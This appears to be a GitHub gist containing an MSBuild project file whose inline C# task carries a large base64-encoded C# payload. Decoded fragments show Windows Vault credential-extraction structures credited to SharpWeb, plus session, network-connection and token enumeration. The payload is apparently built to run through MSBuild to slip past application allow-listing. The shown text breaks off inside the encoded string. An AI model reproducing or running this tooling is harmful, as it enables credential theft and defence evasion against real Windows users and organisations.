Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save 0x25bit/891311c8c0bf63c19ea2daa90dff6dee to your computer and use it in GitHub Desktop.
Save 0x25bit/891311c8c0bf63c19ea2daa90dff6dee to your computer and use it in GitHub Desktop.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="NotSubTee">
<BusinessTime />
</Target>
<UsingTask
TaskName="BusinessTime"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Runtime.InteropServices" />
<Using Namespace="System.Reflection" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Reflection;
using System.Text;
using System.Text.RegularExpressions;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class BusinessTime : Task, ITask
{
public override bool Execute()
{
string strb64 = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uQ29sbGVjdGlvbnM7CnVzaW5nIFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljcy5FdmVudGluZy5SZWFkZXI7CnVzaW5nIFN5c3RlbS5JTzsKdXNpbmcgU3lzdGVtLkxpbnE7CnVzaW5nIFN5c3RlbS5NYW5hZ2VtZW50Owp1c2luZyBTeXN0ZW0uTmV0Owp1c2luZyBTeXN0ZW0uTmV0Lk5ldHdvcmtJbmZvcm1hdGlvbjsKdXNpbmcgU3lzdGVtLlJlZmxlY3Rpb247CnVzaW5nIFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlczsKdXNpbmcgU3lzdGVtLlNlY3VyaXR5LkFjY2Vzc0NvbnRyb2w7CnVzaW5nIFN5c3RlbS5TZWN1cml0eS5Qc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mQgPSAweDAwMDA4QUM7CiAgICAgICAgcHVibGljIGNvbnN0IHVpbnQgU0VSVkVSX1VOQVZBSUxBQkxFID0gMHgwMDA2QkE7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBjbGFzcyBWYXVsdENsaQogICAgewogICAgICAgIC8vIHB1bGxlZCBkaXJlY3RseSBmcm9tIEBkamhvaG5zdGVpbidzIFNoYXJwV2ViIHByb2plY3Q6IGh0dHBzOi8vZ2l0aHViLmNvbS9kamhvaG5zdGVpbi9TaGFycFdlYi9ibG9iL21hc3Rlci9FZGdlL1NoYXJwRWRnZS5jcwogICAgICAgIHB1YmxpYyBlbnVtIFZBVUxUX0VMRU1FTlRfVFlQRSA6IGludCAKICAgICAgICB7CiAgICAgICAgICAgIFVuZGVmaW5lZCA9IC0xLAogICAgICAgICAgICBCb29sZWFuID0gMCwKICAgICAgICAgICAgU2hvcnQgPSAxLAogICAgICAgICAgICBVbnNpZ25lZFNob3J0ID0gMiwKICAgICAgICAgICAgSW50ID0gMywKICAgICAgICAgICAgVW5zaWduZWRJbnQgPSA0LAogICAgICAgICAgICBEb3VibGUgPSA1LAogICAgICAgICAgICBHdWlkID0gNiwKICAgICAgICAgICAgU3RyaW5nID0gNywKICAgICAgICAgICAgQnl0ZUFycmF5ID0gOCwKICAgICAgICAgICAgVGltZVN0YW1wID0gOSwKICAgICAgICAgICAgUHJvdGVjdGVkQXJyYXkgPSAxMCwKICAgICAgICAgICAgQXR0cmlidXRlID0gMTEsCiAgICAgICAgICAgIFNpZCA9IDEyLAogICAgICAgICAgICBMYXN0ID0gMTMKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBlbnVtIFZBVUxUX1NDSEVNQV9FTEVNRU5UX0lEIDogaW50IAogICAgICAgIHsKICAgICAgICAgICAgSWxsZWdhbCA9IDAsCiAgICAgICAgICAgIFJlc291cmNlID0gMSwKICAgICAgICAgICAgSWRlbnRpdHkgPSAyLAogICAgICAgICAgICBBdXRoZW50aWNhdG9yID0gMywKICAgICAgICAgICAgVGFnID0gNCwKICAgICAgICAgICAgUGFja2FnZVNpZCA9IDUsCiAgICAgICAgICAgIEFwcFN0YXJ0ID0gMTAwLAogICAgICAgICAgICBBcHBFbmQgPSAxMDAwMAogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwsIENoYXJTZXQgPSBDaGFyU2V0LkFuc2kpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgVkFVTFRfSVRFTV9XSU44CiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgR3VpZCBTY2hlbWFJZDsKICAgICAgICAgICAgcHVibGljIEludFB0ciBwc3pDcmVkZW50aWFsRnJpZW5kbHlOYW1lOwogICAgICAgICAgICBwdWJsaWMgSW50UHRyIHBSZXNvdXJjZUVsZW1lbnQ7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgcElkZW50aXR5RWxlbWVudDsKICAgICAgICAgICAgcHVibGljIEludFB0ciBwQXV0aGVudGljYXRvckVsZW1lbnQ7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgcFBhY2thZ2VTaWQ7CiAgICAgICAgICAgIHB1YmxpYyBVSW50NjQgTGFzdE1vZGlmaWVkOwogICAgICAgICAgICBwdWJsaWMgVUludDMyIGR3RmxhZ3M7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgZHdQcm9wZXJ0aWVzQ291bnQ7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgcFByb3BlcnR5RWxlbWVudHM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCwgQ2hhclNldCA9IENoYXJTZXQuQW5zaSldCiAgICAgICAgcHVibGljIHN0cnVjdCBWQVVMVF9JVEVNX1dJTjcKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBHdWlkIFNjaGVtYUlkOwogICAgICAgICAgICBwdWJsaWMgSW50UHRyIHBzekNyZ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gcE1lbW9yeSk7CgogICAgICAgIFtEbGxJbXBvcnQoIld0c2FwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHN0YXRpYyBleHRlcm4gYm9vbCBXVFNRdWVyeVNlc3Npb25JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIGhTZXJ2ZXIsCiAgICAgICAgICAgIHVpbnQgc2Vzc2lvbklkLAogICAgICAgICAgICBXVFNfSU5GT19DTEFTUyB3dHNJbmZvQ2xhc3MsCiAgICAgICAgICAgIG91dCBJbnRQdHIgcHBCdWZmZXIsCiAgICAgICAgICAgIG91dCB1aW50IHBCeXRlc1JldHVybmVkCiAgICAgICAgKTsKCiAgICAgICAgW0RsbEltcG9ydCgiaXBobHBhcGkuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBHZXRFeHRlbmRlZFRjcFRhYmxlKAogICAgICAgICAgICBJbnRQdHIgcFRjcFRhYmxlLAogICAgICAgICAgICByZWYgdWludCBkd091dEJ1ZkxlbiwKICAgICAgICAgICAgYm9vbCBzb3J0LAogICAgICAgICAgICBpbnQgaXBWZXJzaW9uLAogICAgICAgICAgICBUQ1BfVEFCTEVfQ0xBU1MgdGJsQ2xhc3MsCiAgICAgICAgICAgIGludCByZXNlcnZlZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImFkdmFwaTMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIHVpbnQgSV9RdWVyeVRhZ0luZm9ybWF0aW9uKAogICAgICAgICAgICBJbnRQdHIgVW5rbm93biwKICAgICAgICAgICAgU0NfU0VSVklDRV9UQUdfUVVFUllfVFlQRSBUeXBlLAogICAgICAgICAgICByZWYgU0NfU0VSVklDRV9UQUdfUVVFUlkgUXVlcnkKICAgICAgICAgICAgKTsKCiAgICAgICAgW0RsbEltcG9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AgICBzdHJpbmcgbHBTeXN0ZW1OYW1lLAogICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQQXJyYXkpXSBieXRlW10gU2lkLAogICAgICAgICAgU3RyaW5nQnVpbGRlciBscE5hbWUsCiAgICAgICAgICByZWYgdWludCBjY2hOYW1lLAogICAgICAgICAgU3RyaW5nQnVpbGRlciBSZWZlcmVuY2VkRG9tYWluTmFtZSwKICAgICAgICAgIHJlZiB1aW50IGNjaFJlZmVyZW5jZWREb21haW5OYW1lLAogICAgICAgICAgb3V0IFNJRF9OQU1FX1VTRSBwZVVzZSk7CgogICAgICAgIC8vIFBJbnZva2Ugc3RydWN0dXJlcy9jb250YW50cwogICAgICAgIHB1YmxpYyBjb25zdCB1aW50IFNFX0dST1VQX0xPR09OX0lEID0gMHhDMDAwMDAwMDsgLy8gZnJvbSB3aW5udC5oCiAgICAgICAgcHVibGljIGNvbnN0IGludCBUb2tlbkdyb3VwcyA9IDI7IC8vIGZyb20gVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MKICAgICAgICBlbnVtIFRPS0VOX0lORk9STUFUSU9OX0NMQVNTCiAgICAgICAgewogICAgICAgICAgICBUb2tlblVzZXIgPSAxLAogICAgICAgICAgICBUb2tlbkdyb3VwcywKICAgICAgICAgICAgVG9rZW5Qcml2aWxlZ2VzLAogICAgICAgICAgICBUb2tlbk93bmVyLAogICAgICAgICAgICBUb2tlblByaW1hcnlHcm91cCwKICAgICAgICAgICAgVG9rZW5EZWZhdWx0RGFjbCwKICAgICAgICAgICAgVG9rZW5Tb3VyY2UsCiAgICAgICAgICAgIFRva2VuVHlwZSwKICAgICAgICAgICAgVG9rZW5JbXBlcnNvbmF0aW9uTGV2ZWwsCiAgICAgICAgICAgIFRva2VuU3RhdGlzdGljcywKICAgICAgICAgICAgVG9rZW5SZXN0cmljdGVkU2lkcywKICAgICAgICAgICAgVG9rZW5TZXNzaW9uSWQsCiAgICAgICAgICAgIFRva2VuR3JvdXBzQW5kUHJpdmlsZWdlcywKICAgICAgICAgICAgVG9rZW5TZXNzaW9uUmVmZXJlbmNlLAogICAgICAgICAgICBUb2tlblNhbmRCb3hJbmVydCwKICAgICAgICAgICAgVG9rZW5BdWRpdFBvbGljeSwKICAgICAgICAgICAgVG9rZW5PcmlnaW4KICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IFNJRF9BTkRfQVRUUklCVVRFUwogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIEludFB0ciBTaWQ7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IEF0dHJpYnV0ZXM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHVibGljIHN0cnVjdCBUT0tFTl9HUk9VUFMKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBpbnQgR3JvdXBDb3VudDsKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsQXJyYXksIFNpemVDb25zdCA9IDEpXQogICAgICAgICAgICBwdWJsaWMgU0lEX0FORF9BVFRSSUJVVEVTW10gR3JvdXBzOwogICAgICAgIH07CgogICAgICAgIHByb3RlY3RlZCBzdHJ1Y3QgVE9LRU5fUFJJVklMRUdFUwogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIFVJbnQzMiBQcml2aWxlZ2VDb3VudDsKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsQXJyYXksIFNpemVDb25zdCA9IDM1KV0KICAgICAgICAgICAgcHVibGljIExVSURfQU5EX0FUVFJJQlVURVNbXSBQcml2aWxlZ2VzOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByb3RlY3RlZCBzdHJ1Y3QgTFVJRF9BTkRfQVRUUklCVVRFUwogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIExVSUQgTHVpZDsKICAgICAgICAgICAgcHVibGljIFVJbnQzMiBBdHRyaWJ1dGVzOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByb3RlY3RlZCBzdHJ1Y3QgTFVJRAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVpbnQgTG93UGFydDsKICAgICAgICAgICAgcHVibGljIGludCBIaWdoUGFydDsKICAgICAgICB9CgogICAgICAgIFtGbGFnc10KICAgICAgICBwdWJsaWMgZW51bSBGaXJld2FsbFByb2ZpbGVzIDogaW50CiAgICAgICAgewogICAgICAgICAgICBET01BSU4gPSAxLAogICAgICAgICAgICBQUklWQVRFID0gMiwKICAgICAgICAgICAgUFVCTElDID0gNCwKICAgICAgICAgICAgQUxMID0gMjE0NzQ4MzY0NwogICAgICAgIH0KCiAgICAgICAgW0ZsYWdzXQogICAgICAgIHB1YmxpYyBlbnVtIEx1aWRBdHRyaWJ1dGVzIDogdWludAogICAgICAgIHsKICAgICAgICAgICAgRElTQUJMRUQgPSAweDAwMDAwMDAwLAogICAgICAgICAgICBTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUID0gMHgwMDAwMDAwMSwKICAgICAgICAgICAgU0VfUFJJVklMRUdFX0VOQUJMRUQgPSAweDAwMDAwMDAyLAogICAgICAgICAgICBTRV9QUklWSUxFR0VfUkVNT1ZFRCA9IDB4MDAwMDAwMDQsCiAgICAgICAgICAgIFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MgPSAweDgwMDAwMDAwCiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgZW51bSBTSURfTkFNRV9VU0UKICAgICAgICB7CiAgICAgICAgICAgIFNpZFR5cGVVc2VyID0gMSwKICAgICAgICAgICAgU2lkVHlwZUdyb3VwLAogICAgICAgICAgICBTaWRUeXBlRG9tYWluLAogICAgICAgICAgICBTaWRUeXBlQWxpYXMsCiAgICAgICAgICAgIFNpZFR5cGVXZWxsS25vd25Hcm91cCwKICAgICAgICAgICAgU2lkVHlwZURlbGV0ZWRBY2NvdW50LAogICAgICAgICAgICBTaWRUeXBlSW52YWxpZCwKICAgICAgICAgICAgU2lkVHlwZVVua25vd24sCiAgICAgICAgICAgIFNpZFR5cGVDb21wdXRlcgogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByaXZhdGUgc3RydWN0IFdUU19TRVNTSU9OX0lORk8KICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBJbnQzMiBTZXNzaW9uSUQ7CgogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXQogICAgICAgICAgICBwdWJsaWMgU3RyaW5nIHBXaW5TdGF0aW9uTmFtZTsKCiAgICAgICAgICAgIHB1YmxpYyBXVFNfQ09OTkVDVFNUQVRFX0NMQVNTIFN0YXRlOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByaXZhdGUgc3RydWN0IFdUU19TRVNTSU9OX0lORk9fMQogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIEludDMyIEV4ZWNFbnZJZDsKCiAgICAgICAgICAgIHB1YmxpYyBXVFNfQ09OTkVDVFNUQVRFX0NMQVNTIFN0YXRlOwoKICAgICAgICAgICAgcHVibGljIEludDMyIFNlc3Npb25JRDsKCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFN0cildCiAgICAgICAgICAgIHB1YmxpYyBTdHJpbmcgcFNlc3Npb25OYW1lOwoKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQU3RyKV0KICAgICAgICAgICAgcHVibGljIFN0cmluZyBwSG9zdE5hbWU7CgogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXQogICAgICAgICAgICBwdWJsaWMgU3RyaW5nIHBVc2VyTmFtZTsKCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFN0cildCiAgICAgICAgICAgIHB1YmxpYyBTdHJpbmcgcERvbWFpbk5hbWU7CgogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBTdHIpXQogICAgICAgICAgICBwdWJsaWMgU3RyaW5nIHBGYXJtTmFtZTsKICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IFdUU19DTElFTlRfQUREUkVTUwogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVpbnQgQWRkcmVzc0ZhbWlseTsKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJ5VmFsQXJyYXksIFNpemVDb25zdCA9IDIwKV0KICAgICAgICAgICAgcHVibGljIGJ5dGVbXSBBZGRyZXNzOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIGVudW0gV1RTX0NPTk5FQ1RTVEFURV9DTEFTUwogICAgICAgIHsKICAgICAgICAgICAgQWN0aXZlLAogICAgICAgICAgICBDb25uZWN0ZWQsCiAgICAgICAgICAgIENvbm5lY3RRdWVyeSwKICAgICAgICAgICAgU2hhZG93LAogICAgICAgICAgICBEaXNjb25uZWN0ZWQsCiAgICAgICAgICAgIElkbGUsCiAgICAgICAgICAgIExpc3RlbiwKICAgICAgICAgICAgUmVzZXQsCiAgICAgICAgICAgIERvd24sCiAgICAgICAgICAgIEluaXQKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBlbnVtIFdUU19JTkZPX0NMQVNTCiAgICAgICAgewogICAgICAgICAgICBXVFNJbml0aWFsUHJvZ3JhbSA9IDAsCiAgICAgICAgICAgIFdUU0FwcGxpY2F0aW9uTmFtZSA9IDEsCiAgICAgICAgICAgIFdUU1dvcmtpbmdEaXJlY3RvcnkgPSAyLAogICAgICAgICAgICBXVFNPRU1JZCA9IDMsCiAgICAgICAgICAgIFdUU1Nlc3Npb25JZCA9IDQsCiAgICAgICAgICAgIFdUU1VzZXJOYW1lID0gNSwKICAgICAgICAgICAgV1RTV2luU3RhdGlvbk5hbWUgPSA2LAogICAgICAgICAgICBXVFNEb21haW5OYW1lID0gNywKICAgICAgICAgICAgV1RTQ29ubmVjdFN0YXRlID0gOCwKICAgICAgICAgICAgV1RTQ2xpZW50QnVpbGROdW1iZXIgPSA5LAogICAgICAgICAgICBXVFNDbGllbnROYW1lID0gMTAsCiAgICAgICAgICAgIFdUU0NsaWVudERpcmVjdG9yeSA9IDExLAogICAgICAgICAgICBXVFNDbGllbnRQcm9kdWN0SWQgPSAxMiwKICAgICAgICAgICAgV1RTQ2xpZW50SGFyZHdhcmVJZCA9IDEzLAogICAgICAgICAgICBXVFNDbGllbnRBZGRyZXNzID0gMTQsCiAgICAgICAgICAgIFdUU0NsaWVudERpc3BsYXkgPSAxNSwKICAgICAgICAgICAgV1RTQ2xpZW50UHJvdG9jb2xUeXBlID0gMTYsCiAgICAgICAgICAgIFdUU0lkbGVUaW1lID0gMTcsCiAgICAgICAgICAgIFdUU0xvZ29uVGltZSA9IDE4LAogICAgICAgICAgICBXVFNJbmNvbWluZ0J5dGVzID0gMTksCiAgICAgICAgICAgIFdUU091dGdvaW5nQnl0ZXMgPSAyMCwKICAgICAgICAgICAgV1RTSW5jb21pbmdGcmFtZXMgPSAyMSwKICAgICAgICAgICAgV1RTT3V0Z29pbmdGcmFtZXMgPSAyMiwKICAgICAgICAgICAgV1RTQ2xpZW50SW5mbyA9IDIzLAogICAgICAgICAgICBXVFNTZXNzaW9uSW5mbyA9IDI0LAogICAgICAgICAgICBXVFNTZXNzaW9uSW5mb0V4ID0gMjUsCiAgICAgICAgICAgIFdUU0NvbmZpZ0luZm8gPSAyNiwKICAgICAgICAgICAgV1RTVmFsaWRhdGlvbkluZm8gPSAyNywKICAgICAgICAgICAgV1RTU2Vzc2lvbkFkZHJlc3NWNCA9IDI4LAogICAgICAgICAgICBXVFNJc1JlbW90ZVNlc3Npb24gPSAyOQogICAgICAgIH0KCiAgICAgICAgcHVibGljIGVudW0gVENQX1RBQkxFX0NMQVNTIDogaW50CiAgICAgICAgewogICAgICAgICAgICBUQ1BfVEFCTEVfQkFTSUNfTElTVEVORVIsCiAgICAgICAgICAgIFRDUF9UQUJMRV9CQVNJQ19DT05ORUNUSU9OUywKICAgICAgICAgICAgVENQX1RBQkxFX0JBU0lDX0FMTCwKICAgICAgICAgICAgVENQX1RBQkxFX09XTkVSX1BJRF9MSVNURU5FUiwKICAgICAgICAgICAgVENQX1RBQkxFX09XTkVSX1BJRF9DT05ORUNUSU9OUywKICAgICAgICAgICAgVENQX1RBQkxFX09XTkVSX1BJRF9BTEwsCiAgICAgICAgICAgIFRDUF9UQUJMRV9PV05FUl9NT0RVTEVfTElTVEVORVIsCiAgICAgICAgICAgIFRDUF9UQUJMRV9PV05FUl9NT0RVTEVfQ09OTkVDVElPTlMsCiAgICAgICAgICAgIFRDUF9UQUJMRV9PV05FUl9NT0RVTEVfQUxMCiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgZW51bSBVRFBfVEFCTEVfQ0xBU1MgOiBpbnQKICAgICAgICB7CiAgICAgICAgICAgIFVEUF9UQUJMRV9CQVNJQywKICAgICAgICAgICAgVURQX1RBQkxFX09XTkVSX1BJRCwKICAgICAgICAgICAgVURQX1RBQkxFX09XTkVSX01PRFVMRQogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgU0NfU0VSVklDRV9UQUdfUVVFUlkKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IFByb2Nlc3NJZDsKICAgICAgICAgICAgcHVibGljIHVpbnQgU2VydmljZVRhZzsKICAgICAgICAgICAgcHVibGljIHVpbnQgVW5rbm93bjsKICAgICAgICAgICAgcHVibGljIEludFB0ciBCdWZmZXI7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgZW51bSBTQ19TRVJWSUNFX1RBR19RVUVSWV9UWVBFCiAgICAgICAgewogICAgICAgICAgICBTZXJ2aWNlTmFtZUZyb21UYWdJbmZvcm1hdGlvbiA9IDEsCiAgICAgICAgICAgIFNlcnZpY2VOYW1lc1JlZmVyZW5jaW5nTW9kdWxlSW5mb3JtYXRpb24gPSAyLAogICAgICAgICAgICBTZXJ2aWNlTmFtZVRhZ01hcHBpbmdJbmZvcm1hdGlvbiA9IDMKICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IE1JQl9UQ1BUQUJMRV9PV05FUl9NT0RVTEUKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IE51bUVudHJpZXM7CiAgICAgICAgICAgIE1JQl9UQ1BST1dfT1dORVJfTU9EVUxFIFRhYmxlOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgTUlCX1RDUFJPV19PV05FUl9NT0RVTEUKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBNSUJfVENQX1NUQVRFIFN0YXRlOwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgdWludCBMb2NhbEFkZHI7CiAgICAgICAgICAgIHByaXZhdGUgcmVhZG9ubHkgYnl0ZSBMb2NhbFBvcnQxOwogICAgICAgICAgICBwcml2YXRlIHJlYWRvbmx5IGJ5dGUgTG9jYWxQb3J0MjsKICAgICAgICAgICAgcHJpdmF0ZSByZWFkb25seSBieXRlIExvY2FsUG9ydDM7CiAgICAgICAgICAgIHByaXZhdGUgcmVhZG9ubHkgYnl0ZSBMb2NhbFBvcnQ0OwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgdWludCBSZW1vdGVBZGRyOwogICAgICAgICAgICBwcml2YXRlIHJlYWRvbmx5IGJ5dGUgUmVtb3RlUG9ydDE7CiAgICAgICAgICAgIHByaXZhdGUgcmVhZG9ubHkgYnl0ZSBSZW1vdGVQb3J0MjsKICAgICAgICAgICAgcHJpdmF0ZSByZWFkb25seSBieXRlIFJlbW90ZVBvcnQzOwogICAgICAgICAgICBwcml2YXRlIHJlYWRvbmx5IGJ5dGUgUmVtb3RlUG9ydDQ7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSB1aW50IE93bmluZ1BpZDsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBDcmVhdGVUaW1lc3RhbXA7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzA7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzE7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzI7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzM7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzQ7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzU7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzY7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzc7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzg7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzk7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzEwOwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgVUludDY0IE93bmluZ01vZHVsZUluZm8xMTsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMTI7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzEzOwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgVUludDY0IE93bmluZ01vZHVsZUluZm8xNDsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMTU7CgoKICAgICAgICAgICAgcHVibGljIHVzaG9ydCBMb2NhbFBvcnQKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZ2V0CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEJpdENvbnZlcnRlci5Ub1VJbnQxNigKICAgICAgICAgICAgICAgICAgICAgICAgbmV3IGJ5dGVbMl0geyBMb2NhbFBvcnQyLCBMb2NhbFBvcnQxIH0sIDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBwdWJsaWMgSVBBZGRyZXNzIExvY2FsQWRkcmVzcwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBnZXQgeyByZXR1cm4gbmV3IElQQWRkcmVzcyhMb2NhbEFkZHIpOyB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHB1YmxpYyBJUEFkZHJlc3MgUmVtb3RlQWRkcmVzcwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBnZXQgeyByZXR1cm4gbmV3IElQQWRkcmVzcyhSZW1vdGVBZGRyKTsgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBwdWJsaWMgdXNob3J0IFJlbW90ZVBvcnQKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZ2V0CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEJpdENvbnZlcnRlci5Ub1VJbnQxNigKICAgICAgICAgICAgICAgICAgICAgICAgbmV3IGJ5dGVbMl0geyBSZW1vdGVQb3J0MiwgUmVtb3RlUG9ydDEgfSwgMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IE1JQl9VRFBUQUJMRV9PV05FUl9NT0RVTEUKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IE51bUVudHJpZXM7CiAgICAgICAgICAgIE1JQl9VRFBST1dfT1dORVJfTU9EVUxFIFRhYmxlOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBz